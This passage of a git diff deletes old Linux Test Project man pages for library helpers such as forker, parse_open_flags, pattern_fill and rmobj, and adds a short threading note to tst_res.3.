-.\" Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
-.\"
-.\" This program is free software; you can redistribute it and/or modify it
-.\" under the terms of version 2 of the GNU General Public License as
-.\" published by the Free Software Foundation.
-.\"
-.\" This program is distributed in the hope that it would be useful, but
-.\" WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-.\"
-.\" Further, this software is distributed without any warranty that it is
-.\" free of the rightful claim of any third person regarding infringement
-.\" or the like.  Any license provided herein, whether implied or
-.\" otherwise, applies only to this software file.  Patent licenses, if
-.\" any, provided herein do not apply to combinations of this program with
-.\" other software, or any other product whatsoever.
-.\"
-.\" You should have received a copy of the GNU General Public License along
-.\" with this program; if not, write the Free Software Foundation, Inc.,
-.\" 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
-.\" Mountain View, CA  94043, or:
-.\"
-.\" http://www.sgi.com
-.\"
-.\" For further information regarding this notice, see:
-.\"
-.\" http://oss.sgi.com/projects/GenInfo/NoticeExplan/
-.\"
-.TH BYTES_BY_PREFIX 3 07/25/2000 "Linux Test Project"
-.SH NAME
-bytes_by_prefix \- convert a string to a int byte count
-lbytes_by_prefix \- convert a string to a long byte count
-llbytes_by_prefix \- convert a string to a long long byte count
-.SH SYNOPSIS
-int bytes_by_prefix(char *\fIstr\fR);
-.br
-long lbytes_by_prefix(char *\fIstr\fR);
-.br
-long long llbytes_by_prefix(char *\fIstr\fR);
-.SH DESCRIPTION
-\fBbytes_by_prefix()\fR, \fBlbytes_by_prefix()\fR, and \fBllbytes_by_prefix()\fR converts
-\fIstr\fR to an integer, long, or long long  byte count.  \fIstr\fR is an
-floating point number optionally followed by a single character multiplier.
-Currently the following multipliers are supported:
-.sp
-.nf
-    Char  Meaning       Multiplier
-    ----  ---------     --------------------------------
-    b     Blocks        BSIZE or UBSIZE
-    k     Kilobytes     2^10 (1024)
-    K     Kilowords     2^10 (1024) * sizeof(long)
-    m     Megabytes     2^20 (1048576)
-    M     Megawords     2^20 (1048576) * sizeof(long)
-    g     Gigabytes     2^30 (1073741824)
-    G     Gigawords     2^30 (1073741824) * sizeof(long)
-.fi
-.sp
-\fIstr\fR is interpreted as floating point number (base 10).
-When using \fBllbytes_by_prefix()\fR, the uppercase suffix will result
-in multiplying by the size of a (long long) or 8.
-.SH RETURNS
--1 if the integer portion of \fIstr\fR is invalid, if an unsupported
-multiplier is supplied, or if \fIstr\fR has extra leading or trailing
-characters.  If \fIstr\fR contains a negative number, the return
-value will be negative.
-.SH EXAMPLES
-\fBbytes_by_prefix("1000")\fR
-.br
-.RS 8
-Returns 1000
-.RE
-.br
-\fBbytes_by_prefix("5b")\fR
-.br
-.RS 8
-Returns 5 * BSIZE.
-.RE
-\fBbytes_by_prefix("1.5m")\fR
-.br
-.RS 8
-Returns 1.5 * 1048576 or 1572864
-.RE
-
-.SH LIMITATIONS
-
-\fBbytes_by_prefix()\fR and \fBlbytes_by_prefix()\fR when compiled as
-a 32 bit IRIX binary can only return a max number of 2g (2147483647).
-However, \fBlbytes_by_prefix()\fR is not limited by the 2g limit when
-compiled as 64 bit binary, where \fBbytes_by_prefix()\fR still is limited.
-
-Note that the size of long will vary depending how if compiled as
-a 32 or 64 bit binary.  The size of a long long is always 8.
-
-Also note that on a traditional CRAY system, a block is 4096 bytes, where
-on most IRIX systems a block is 1024 bytes.
-
diff --git a/doc/man3/forker.3 b/doc/man3/forker.3
deleted file mode 100644
index 435d730..0000000
--- a/doc/man3/forker.3
+++ /dev/null
@@ -1,151 +0,0 @@
-.\"
-.\" $Id: forker.3,v 1.1 2000/07/27 16:59:03 alaffin Exp $
-.\"
-.\" Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
-.\"
-.\" This program is free software; you can redistribute it and/or modify it
-.\" under the terms of version 2 of the GNU General Public License as
-.\" published by the Free Software Foundation.
-.\"
-.\" This program is distributed in the hope that it would be useful, but
-.\" WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-.\"
-.\" Further, this software is distributed without any warranty that it is
-.\" free of the rightful claim of any third person regarding infringement
-.\" or the like.  Any license provided herein, whether implied or
-.\" otherwise, applies only to this software file.  Patent licenses, if
-.\" any, provided herein do not apply to combinations of this program with
-.\" other software, or any other product whatsoever.
-.\"
-.\" You should have received a copy of the GNU General Public License along
-.\" with this program; if not, write the Free Software Foundation, Inc.,
-.\" 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
-.\" Mountain View, CA  94043, or:
-.\"
-.\" http://www.sgi.com
-.\"
-.\" For further information regarding this notice, see:
-.\"
-.\" http://oss.sgi.com/projects/GenInfo/NoticeExplan/
-.\"
-.TH FORKER 3 07/25/2000 "Linux Test Project"
-.SH NAME
-forker \- fork desired number of copies of the current process
-.br
-background \- fork a process and return control to caller
-
-.SH SYNOPSIS
-int
-.br
-\fBbackground\fR(\fIprefix\fR)
-.br
-char *\fIprefix\fR;
-
-int
-.br
-\fBforker\fR(\fIncopies, mode, prefix\fR)
-.br
-int \fIncopies\fR;
-.br
-int \fImode\fR;
-.br
-char *\fIprefix\fR;
-
-extern int \fBForker_pids\fR[];
-.br
-extern int \fBForker_npids\fR;
-
-.SH DESCRIPTION
-The \fBbackground\fR function will do a fork of the current process.
-The parent process will then exit, thus orphaning the
-child process.  Doing this will not nice the child process
-like executing a cmd in the background using "&" from the shell.
-If the fork fails and prefix is not NULL, a error message is printed
-to stderr and the process will exit with a value of errno.
-
-The \fBforker\fR function will fork \fIncopies\fR minus one copies
-of the current process.  There are two modes in how the forks
-will be done.  Mode 0 (default) will have all new processes
-be children of the parent process.    Using Mode 1,
-the parent process will have one child and that child will
-fork the next process, if necessary, and on and on.
-The \fBforker\fR function will return the number of successful
-forks.  This value will be different for the parent and each child.
-Using mode 0, the parent will get the total number of successful
-forks.  Using mode 1, the newest child will get the total number
-of forks.  The parent will get a return value of 1.
-
-The \fBforker \fRfunction also updates the global variables
-\fIForker_pids[\fR] and Forker_npids.  The \fIForker_pids\fR array will
-be updated to contain the pid of each new process.  The
-\fIForker_npids\fR variable contains the number of entries
-in \fIForker_pids.\fR  Note, not all processes will have
-access to all pids via \fIForker_pids.\fR  If using mode 0, only the
-parent process will have all information.  If using mode 1,
-only the last child process will have all information.
-
-If the \fIprefix\fR parameter is not NULL and the fork system call fails,
-a error message will be printed to stderr.  The error message
-will be preceded with \fIprefix\fR string.  If \fIprefix\fR is NULL,
-no error message is printed.
-
-.SH EXAMPLES
-
-.nf
-.in +3
-/*
- * The following is a unit test main for the background and forker
- * functions.
- */
-
-#include <stdio.h>
-
-main(argc, argv)
-int argc;
-char **argv;
-{
-    int ncopies=1;
-    int mode=0;
-    int ret;
-
-    if ( argc == 1 ) {
-        printf("Usage: %s ncopies [mode]\n", argv[0]);
-        exit(1);
-    }
-
-    if ( sscanf(argv[1], "%i", &ncopies) != 1 ) {
-        printf("%s: ncopies argument must be integer\n", argv[0]);
-        exit(1);
-    }
-
-    if ( argc == 3 )
-        if ( sscanf(argv[2], "%i", &mode) != 1 ) {
-        printf("%s: mode argument must be integer\n", argv[0]);
-        exit(1);
-    }
-
-    printf("Starting Pid = %d\n", getpid());
-    ret=background(argv[0]);
-    printf("After background() ret:%d, pid = %d\n", ret, getpid());
-
-    ret=forker(ncopies, mode, argv[0]);
-
-    printf("forker(%d, %d, %s) ret:%d, pid = %d, sleeping 30 seconds.\n",
-        ncopies, mode, argv[0], ret, getpid());
-    sleep(30);
-    exit(0);
-}
-.in -3
-.fi
-
-.SH "SEE ALSO"
-fork(2).
-
-.SH BUGS
-The child pids are stored in the fixed array, \fIForker_pids\fR.
-The array only has space for 4098 pids.  Only the first
-4098 pids will be stored in the array.
-
diff --git a/doc/man3/get_attrib.3 b/doc/man3/get_attrib.3
deleted file mode 100644
index 179d972..0000000
--- a/doc/man3/get_attrib.3
+++ /dev/null
@@ -1,136 +0,0 @@
-.\"
-.\" $Id: get_attrib.3,v 1.1 2000/07/27 16:59:03 alaffin Exp $
-.\"
-.\" Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
-.\"
-.\" This program is free software; you can redistribute it and/or modify it
-.\" under the terms of version 2 of the GNU General Public License as
-.\" published by the Free Software Foundation.
-.\"
-.\" This program is distributed in the hope that it would be useful, but
-.\" WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-.\"
-.\" Further, this software is distributed without any warranty that it is
-.\" free of the rightful claim of any third person regarding infringement
-.\" or the like.  Any license provided herein, whether implied or
-.\" otherwise, applies only to this software file.  Patent licenses, if
-.\" any, provided herein do not apply to combinations of this program with
-.\" other software, or any other product whatsoever.
-.\"
-.\" You should have received a copy of the GNU General Public License along
-.\" with this program; if not, write the Free Software Foundation, Inc.,
-.\" 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
-.\" Mountain View, CA  94043, or:
-.\"
-.\" http://www.sgi.com
-.\"
-.\" For further information regarding this notice, see:
-.\"
-.\" http://oss.sgi.com/projects/GenInfo/NoticeExplan/
-.\"
-.TH GET_ATTRIB 3 07/25/2000 "Linux Test Project"
-.SH NAME
-\fBget_attrib\fR \- Returns needed attributes to execute a command successfully on any system.
-.SH SYNOPSIS
-.sp
-\fB#include "get_attrib.h"\fR
-.sp
-\fBchar *get_attrib (char *\fIcommand_name\fB, char *\fIpermits\fB, char *\fIactive_categories\fB, char *\fIauthorized_categories\fB, long \fIflag\fR);\fR
-.SH DESCRIPTION
-The \fBget_attributes\fR routine is designed to determine the system type
-currently running and return the needed \fBruncmd(1)\fR string to run the
-command specified successfully on any 7.0 and above systems.  On systems
-with TFM configured 'ON' some commands need special attributes that can't
-be determined easily, this routine then uses an internal table to return the
-needed attributes to run the command.  On other system types the needed
-attributes are easily determined without use of this table.
-.PP
-The \fBget_attrib\fR arguments are as follows:
-.TP 10
-\fIcommand_name\fR
-Pointer to the command the attributes are to be returned about.
-.TP
-\fIpermits\fR
-Pointer to either an octal or name string of permits to be
-added to string returned.
-.TP
-\fIactive_category\fR
-Pointer to either an octal or name string of active categories to be
-added to string returned.
-.TP
-\fIauthorized_categories\fR
-Pointer to either an octal or name string of categories to be
-added to string returned.
-.TP
-\fIflag\fR
-Long set to any combination of values defined in get_attrib.h.  These values
-are used to specify that the string returned should be for the specified
-system type.
-.sp
-	\fBGA_BOTH_OFF   \fR	PRIV_SU and PRIV_TFM off.
-.sp
-	\fBGA_SU_ON      \fR	PRIV_SU on.
-.sp
-	\fBGA_TFM_ON     \fR	PRIV_TFM on.
-.sp
-	\fBGA_BOTH_ON    \fR	PRIV_SU and PRIV_TFM on.
-.sp
-	\fBGA_CURRENT_SYS\fR	Current system type.
-.sp
-.PP
-.SH "EXAMPLE"
-.P
-The following example shows how \fBget_attrib\fR can be used to determine
-the needed attributes to run a command successfully:
-.P
-.nf
-#include <stdio.h>
-#include "get_attrib.h"
-
-main()
-{
- char cmd[256];
- char *string;
-
- if ((string =
-      get_attrib("mount",NULL,NULL,NULL,GA_CURRENT_SYS)) == (char *)NULL) {
-    printf("get_attrib() failed\en");
-    exit(1);
- } else {
-    sprintf(cmd, "runcmd %s mount /dev/dsk/qtest3 /qtest3", string);
-    printf("Command = %s\en",cmd);
- }
-
-
- if ((string =
-      get_attrib("mount", NULL, NULL, NULL, GA_BOTH_OFF))==(char *)NULL) {
-    printf("get_attrib() failed\en");
-    exit(1);
- } else {
-    sprintf(cmd, "runcmd %s mount /dev/dsk/qtest3 /qtest3", string);
-    printf("Command = %s\en",cmd);
- }
-}
-.ni
-
-On an MLS system with PRIV_SU ON the first sprintf would return,
-\fBruncmd -u root mount /dev/dsk/qtest3 /qtest3\fR.
-
-On the same system the second sprintf would return, \fBruncmd -J secadm -j
-secadm  mount /dev/dsk/qtest3 /qtest3\fR  Which is as if PRIV_TFM and PRIV_SU
-were OFF.
-.PP
-.SH "RETURN VALUE"
-If \fBget_attrib()\fR completes successfully, a pointer to a string
-containing the options of the runcmd string is returned; otherwise NULL is
-returned.
-.SH ERRORS
-If \fBget_attrib()\fR has problems, an error message will be put in GA_Err_Msg
-and NULL will be returned.
-.SH "SEE ALSO"
-\fBget_attrib\fR(1)
-.P
-\fBruncmd\fR(1)
diff --git a/doc/man3/parse_open_flags.3 b/doc/man3/parse_open_flags.3
deleted file mode 100644
index 6873f9b..0000000
--- a/doc/man3/parse_open_flags.3
+++ /dev/null
@@ -1,137 +0,0 @@
-.\"
-.\" $Id: parse_open_flags.3,v 1.1 2000/07/27 16:59:03 alaffin Exp $
-.\"
-.\" Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
-.\"
-.\" This program is free software; you can redistribute it and/or modify it
-.\" under the terms of version 2 of the GNU General Public License as
-.\" published by the Free Software Foundation.
-.\"
-.\" This program is distributed in the hope that it would be useful, but
-.\" WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-.\"
-.\" Further, this software is distributed without any warranty that it is
-.\" free of the rightful claim of any third person regarding infringement
-.\" or the like.  Any license provided herein, whether implied or
-.\" otherwise, applies only to this software file.  Patent licenses, if
-.\" any, provided herein do not apply to combinations of this program with
-.\" other software, or any other product whatsoever.
-.\"
-.\" You should have received a copy of the GNU General Public License along
-.\" with this program; if not, write the Free Software Foundation, Inc.,
-.\" 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
-.\" Mountain View, CA  94043, or:
-.\"
-.\" http://www.sgi.com
-.\"
-.\" For further information regarding this notice, see:
-.\"
-.\" http://oss.sgi.com/projects/GenInfo/NoticeExplan/
-.\"
-.TH PARSE_OPEN_FLAGS 3 07/25/2000 "Linux Test Project"
-.SH NAME
-parse_open_flags \- converts open flag symbols into bitmask
-.br
-openflags2symbols \- converts open flag bitmask into symbols
-
-.SH SYNOPSIS
-int
-.br
-\fBparse_open_flags\fR(\fIsymbols, badname\fR)
-.br
-char *\fIsymbols\fR;
-.br
-char **\fIbadname\fR;
-
-char *
-.br
-\fBopenflags2symbols\fR(\fIopenflags, sep, mode\fR)
-.br
-int \fIopenflags\fR;
-.br
-char *\fIsep\fR;
-.br
-int \fImode\fR;
-
-.SH DESCRIPTION
-The \fBparse_open_flags\fR function can be used to convert
-a list of comma separated \fBopen\fR(2) flag symbols (i.e. O_TRUNC)
-into the bitmask that can be used by open(2).
-If a symbol is unknown and \fIbadname\fR is not NULL, \fIbadname\fR
-will updated to point that symbol in \fIsymbols\fR.
-\fBParse_open_flags\fR will return -1 on this error.
-Otherwise \fBparse_open_flags\fR will return the open flag bitmask.
-If \fBparse_open_flags\fR returns, \fIstring\fR will left unchanged.
-
-The \fBopenflags2symbols\fR function attempts to convert open flag
-bits into human readable  symbols (i.e. O_TRUNC).  If there
-are more than one symbol, the \fBsep\fR string will be placed as
-a separator between symbols.  Commonly used separators would
-be a comma "," or pipe "|".  If \fImode\fR is one and not all
-\fIopenflags\fR bits can be converted to symbols, the \fBUNKNOWN\fR
-symbol will be added to return string.
-Openflags2symbols will return the identified symbols.
-If no symbols are recognized the return value will be a empty
-string or the \fBUNKNOWN\fR symbol.
-
-If the \fBO_WRONLY\fR and \fBO_RDWR\fR bits are not set, \fBopenflags2symbols\fR
-assumes that \fBO_RDONLY\fR symbol is wanted.
-
-.SH "SEE ALSO"
-open(2),
-/usr/include/sys/fcntl.h.
-
-.SH EXAMPLES
-.nf
-.in +3
-/*
- * The following code provides a UNIT test main for
- * parse_open_flags and openflags2symbols functions.
- */
-#include <stdio.h>
-
-main(argc, argv)
-int argc;
-char **argv;
-{
-    int bits;
-    int ret;
-    char *err;
-
-    if (argc == 1 ) {
-        printf("Usage: %s openflagsbits\n\t%s symbols\n", argv[0], argv[0]);
-        exit(1);
-    }
-
-    if ( sscanf(argv[1], "%i", &bits) == 1 ) {
-        printf("openflags2symbols(%#o, \",\", 1) returned %s\n",
-            bits, openflags2symbols(bits, ",", 1));
-
-    } else {
-        ret=parse_open_flags(argv[1], &err);
-        if ( ret == -1 )
-            printf("parse_open_flags(%s, &err) returned -1, err = %s\n",
-                argv[0], err);
-        else
-            printf("parse_open_flags(%s, &err) returned %#o\n", argv[0], ret);
-    }
-
-    exit(0);
-}
-
-.in -3
-.fi
-
-.SH LIMITATIONS
-Currently (06/96) all known symbols are coded into \fBopenflags2symbols\fR.
-If new open flags are added this function code will have to updated
-to know about them or they will not be recognized.
-
-The static space where \fBopenflags2symbols\fR stores open flag
-symbols with callers separators is limited to 512 characters.
-This should be large enough for most open flags symbols as long as the
-separator is kept short.
-
diff --git a/doc/man3/pattern.3 b/doc/man3/pattern.3
deleted file mode 100644
index 538a357..0000000
--- a/doc/man3/pattern.3
+++ /dev/null
@@ -1,90 +0,0 @@
-.\"
-.\" $Id: pattern.3,v 1.1 2000/07/27 16:59:03 alaffin Exp $
-.\"
-.\" Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
-.\"
-.\" This program is free software; you can redistribute it and/or modify it
-.\" under the terms of version 2 of the GNU General Public License as
-.\" published by the Free Software Foundation.
-.\"
-.\" This program is distributed in the hope that it would be useful, but
-.\" WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-.\"
-.\" Further, this software is distributed without any warranty that it is
-.\" free of the rightful claim of any third person regarding infringement
-.\" or the like.  Any license provided herein, whether implied or
-.\" otherwise, applies only to this software file.  Patent licenses, if
-.\" any, provided herein do not apply to combinations of this program with
-.\" other software, or any other product whatsoever.
-.\"
-.\" You should have received a copy of the GNU General Public License along
-.\" with this program; if not, write the Free Software Foundation, Inc.,
-.\" 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
-.\" Mountain View, CA  94043, or:
-.\"
-.\" http://www.sgi.com
-.\"
-.\" For further information regarding this notice, see:
-.\"
-.\" http://oss.sgi.com/projects/GenInfo/NoticeExplan/
-.\"
-.TH PATTERN 3 07/25/2000 "Linux Test Project"
-.SH NAME
-pattern_fill \- Fill a buffer with copies of a pattern
-.br
-pattern_check \- Validate a buffer against copies of a pattern
-.SH SYNOPSIS
-\fBpattern_fill\fP(char *\fIbuf\fP, int \fIbuflen\fP, char *\fIpat\fP, int \fIpatlen\fP, int \fIpatshift\fP)
-.br
-\fBpattern_check\fP(char *\fIbuf\fP, int \fIbuflen\fP, char *\fIpat\fP, int \fIpatlen\fP, int \fIpatshift\fP)
-.SH DESCRIPTION
-\fBpattern_fill()\fP fills a buffer of length \fIbuflen\fP with repeated
-occurrences of a pattern whose length is \fIpatlen\fP.
-If \fIbuflen\fP is not a multiple of \fIpatlen\fP, a partial pattern will
-be written in the last part of the buffer.  This implies that a buffer which is
-shorter than the pattern length will receive only a partial pattern.
-
-\fBpattern_check()\fP verifies that \fIbuf\fP contains repeated occurrences
-of the indicated pattern.
-
-The \fIpatshift\fP argument to \fBpattern_fill()\fP and \fBpattern_shift()\fP
-specify that \fIpat\fP should be rotated (\fIpatshift\fP % \fIpatlen\fP) bytes
-to the left before filling or comparing the buffer.  Since the pattern is
-rotated by (\fIpatshift\fP % \fIpatlen\fP), \fIpatshift\fP may be greater than
-\fIpathlen\fP.
-.SH EXAMPLES
-\fBpattern_fill(buf, sizeof(buf), "abcde", 5, 0)\fR
-.br
-.RS 8
-
-fill buf with repeated occurrences of "abcde"
-
-.RE
-.br
-\fBpattern_check(buf, sizeof(buf), "abcde", 5, 0)\fR
-.br
-.RS 8
-
-verify that buf consists of repeated occurrences of "abcde"
-
-.RE
-.br
-\fBpattern_fill(buf, sizeof(buf), "abcde", 5, 3)\fR
-.br
-.RS 8
-
-fill buf with repeated occurrences of "deabc"
-
-.RE
-
-.SH DIAGNOSTICS
-\fBpattern_fill()\fP always returns 0 - no validation of arguments is done.
-.br
-\fBpattern_check()\fP returns -1 if the buffer does not contain repeated
-occurrences of the indicated pattern (rotated \fIpatshift\fB bytes) or 0
-otherwise.
-.SH BUGS
-None known.
diff --git a/doc/man3/rmobj.3 b/doc/man3/rmobj.3
deleted file mode 100644
index 520e333..0000000
--- a/doc/man3/rmobj.3
+++ /dev/null
@@ -1,59 +0,0 @@
-.\"
-.\" $Id: rmobj.3,v 1.1 2000/07/27 16:59:03 alaffin Exp $
-.\"
-.\" Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
-.\"
-.\" This program is free software; you can redistribute it and/or modify it
-.\" under the terms of version 2 of the GNU General Public License as
-.\" published by the Free Software Foundation.
-.\"
-.\" This program is distributed in the hope that it would be useful, but
-.\" WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-.\"
-.\" Further, this software is distributed without any warranty that it is
-.\" free of the rightful claim of any third person regarding infringement
-.\" or the like.  Any license provided herein, whether implied or
-.\" otherwise, applies only to this software file.  Patent licenses, if
-.\" any, provided herein do not apply to combinations of this program with
-.\" other software, or any other product whatsoever.
-.\"
-.\" You should have received a copy of the GNU General Public License along
-.\" with this program; if not, write the Free Software Foundation, Inc.,
-.\" 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
-.\" Mountain View, CA  94043, or:
-.\"
-.\" http://www.sgi.com
-.\"
-.\" For further information regarding this notice, see:
-.\"
-.\" http://oss.sgi.com/projects/GenInfo/NoticeExplan/
-.\"
-.TH RMOBJ 3 07/25/2000 "Linux Test Project"
-.SH NAME
-\fBrmobj\fR \- Remove a file, or a directory and all its subdirectories
-.SH SYNOPSIS
-\fBint rmobj(\fIobject\fB, \fIerrmsg\fB);
-.br
-   char *\fIobject\fB;
-.br
-   char **\fIerrmsg\fB;\fR
-.br
-.SH DESCRIPTION
-The \fBrmobj\fR function will remove the specified object.  If the
-specified object is a directory, it will recursively remove the
-directory and everything underneath it.  \fBrmobj\fR assumes that it
-has the necessary privilege to remove whatever was specified.  If
-\fBrmobj\fR encounters any problems, and \fIerrmsg\fR is not NULL,
-\fIerrmsg\fR is set to point to a string explaining the error.
-.SH RETURN VALUE
-If \fBrmobj\fR encounters any problems, it will set \fIerrmsg\fR (if
-it was not NULL) and return -1.  Otherwise it will return 0.
-.SH SEE ALSO
-.\"\fBsects(1)\fR
-.\".br
-\fBrmdir(2)\fR
-.br
-\fBunlink(2)\fR
diff --git a/doc/man3/string_to_tokens.3 b/doc/man3/string_to_tokens.3
deleted file mode 100644
index d4b233c..0000000
--- a/doc/man3/string_to_tokens.3
+++ /dev/null
@@ -1,71 +0,0 @@
-.\"
-.\" $Id: string_to_tokens.3,v 1.1 2000/07/27 16:59:03 alaffin Exp $
-.\"
-.\" Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
-.\"
-.\" This program is free software; you can redistribute it and/or modify it
-.\" under the terms of version 2 of the GNU General Public License as
-.\" published by the Free Software Foundation.
-.\"
-.\" This program is distributed in the hope that it would be useful, but
-.\" WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-.\"
-.\" Further, this software is distributed without any warranty that it is
-.\" free of the rightful claim of any third person regarding infringement
-.\" or the like.  Any license provided herein, whether implied or
-.\" otherwise, applies only to this software file.  Patent licenses, if
-.\" any, provided herein do not apply to combinations of this program with
-.\" other software, or any other product whatsoever.
-.\"
-.\" You should have received a copy of the GNU General Public License along
-.\" with this program; if not, write the Free Software Foundation, Inc.,
-.\" 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
-.\" Mountain View, CA  94043, or:
-.\"
-.\" http://www.sgi.com
-.\"
-.\" For further information regarding this notice, see:
-.\"
-.\" http://oss.sgi.com/projects/GenInfo/NoticeExplan/
-.\"
-.TH STRING_TO_TOKEN 3 07/25/2000 "Linux Test Project"
-.SH NAME
-string_to_tokens \- Break a string into its tokens
-.SH SYNOPSIS
-.nf
-\fB
-int string_to_tokens(arg_string, arg_array, array_size, separator)
-char *arg_string;
-char *arg_array[];
-int array_size;
-char *separator;
-\fR
-.fi
-
-.SH DESCRIPTION
-This function parses the string \fIarg_string\fR, placing pointers to
-the \fIseparator\fR separated tokens into the elements of \fIarg_array\fR.
-The array is terminated with a null pointer.
-\fIarg_array\fR must contains at least \fIarray_size\fR elements.
-Only the first \fIarray_size\fR minus one tokens will be placed into
-\fIarg_array\fR.  If there are more than \fIarray_size\fR-1 tokens, the rest are
-ignored by this routine.
-.RE
-
-.SH "SEE ALSO"
-strtok(3).
-
-.SH DIAGNOSTICS
-This function returns the number of \fIseparator\fR separated tokens that
-were found in \fIarg_string\fR.
-If \fIarg_array\fR or \fIseparator\fR is NULL or \fIarray_size\fR is less than 2,
--1 is returned.
-
-.SH BUGS
-This function uses \fBstrtok()\fR to parse \fIarg_string\fR, and thus
-physically alters \fIarg_string\fR by placing null characters where the
-separators originally were.
-
diff --git a/doc/man3/tst_res.3 b/doc/man3/tst_res.3
index fe596b7..e1f50c2 100644
--- a/doc/man3/tst_res.3
+++ b/doc/man3/tst_res.3
@@ -304,6 +304,9 @@
 If \fIfname\fR is NULL and \fItmesg\fR is NULL or empty, the result message
 will be empty.  This allows a test to not print a message for a result, but
 it is not advised.
+.SH NOTES
+In multithreaded environment, output of \fBtst_resm_hexd()\fR may be interleaved
+with messages produced by other threads.
 .SH BUGS
 .P
 The programmer is free to alter the value of \fBtst_count\fR causing possible
diff --git a/doc/man3/tst_set_error.3 b/doc/man3/tst_set_error.3
deleted file mode 100644
index 44f6f26..0000000
--- a/doc/man3/tst_set_error.3
+++ /dev/null
@@ -1,150 +0,0 @@
-.\"
-.\" $Id: tst_set_error.3,v 1.1 2000/07/27 16:59:03 alaffin Exp $
-.\"
-.\" Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
-.\"
-.\" This program is free software; you can redistribute it and/or modify it
-.\" under the terms of version 2 of the GNU General Public License as
-.\" published by the Free Software Foundation.
-.\"
-.\" This program is distributed in the hope that it would be useful, but
-.\" WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-.\"
-.\" Further, this software is distributed without any warranty that it is
-.\" free of the rightful claim of any third person regarding infringement
-.\" or the like.  Any license provided herein, whether implied or
-.\" otherwise, applies only to this software file.  Patent licenses, if
-.\" any, provided herein do not apply to combinations of this program with
-.\" other software, or any other product whatsoever.
-.\"
-.\" You should have received a copy of the GNU General Public License along
-.\" with this program; if not, write the Free Software Foundation, Inc.,
-.\" 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-.\"
-.\" Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
-.\" Mountain View, CA  94043, or:
-.\"
-.\" http://www.sgi.com
-.\"
-.\" For further information regarding this notice, see:
-.\"
-.\" http://oss.sgi.com/projects/GenInfo/NoticeExplan/
-.\"
-.TH TST_SET_ERROR 3 07/25/2000 "Linux Test Project"
-.SH NAME
-tst_set_error \- Sets global tst_error values
-.br
-tst_clear_error \- clears global tst_error values
-.SH SYNOPSIS
-.nf
-\fB
-#include "test.h"
-
-void
-tst_set_error(file, line, func, fmt...)
-char *file;
-int line;
-char *func;
-char *fmt;     /* printf format */
-
-void
-tst_clear_error()
-\fR
-.fi
-
-.SH DESCRIPTION
-These two functions provide a simple interface to allow
-a programmer set and clear the global variables in
-\fBtst_error\fR defined in \fItest_error.c\fR.
-
-The purpose of these global variables to provide space
-for error messages passing.  Functions within our library
-can use this space and these routines to a pass error messages and
-some debug data to the caller.
-
-\fBtst_error\fR is a global variable, which is really a structure
-of five elements.   The structure is defined \fItest.h\fR and looks
-like:
-
-.nf
-    int  te_line;
-				/* line where last error was reported. */
-				/* Use "__LINE__" and let compiler do */
-				/* the rest */
-    int  te_level;
-				/* If set, will prevent current stored */
-				/* error to not be overwritten */
-    char te_func[TST_ERR_FUNC_SIZE+1];
-				/* name of function of last error */
-				/* Name of function or NULL */
-    char te_file[TST_ERR_FILE_SIZE+1];
-				/* module of last error.  Use */
-				/* "__FILE__" and let compiler do the */
-				/* rest */
-    char te_mesg[TST_ERR_MESG_SIZE+1];
-				/* string of last error */
-.fi
-
-Any new or existing function will be able to call \fBtst_set_error()\fR
-to save error information.  Any caller of a function that uses
-this data, can access the data fields directly and print any of
-error data in desired format.
-
-Do not append newline to the end \fBte_mesg\fR string, it is the
-responsibility of the user of these mesg to print the trailing newline.
-This does not say that for long error messages, that there can not be
-newlines in the message.
-
-\fBtst_set_error()\fR will not overwrite these global variables if
-\fBtst_error.te_level\fR is not zero.
-
-\fBtst_clear_error()\fR will make all strings zero length and set all integers to zero.
-
-These global variables should not be used as the
-method for determining if there is an error.  The functions that use
-\fBtst_set_error\fR, should provide another way to indicating that an error
-has occurred.  These variables should be used reporting the error message.
-Although, if you use \fBtst_clear_error()\fR prior to calling any functions
-and \fBtst_error.te_mesg\fR[0] != '\0', you know someone reported an error or
-at least used the space.
-
-.RE
-
-.SH "Examples"
-
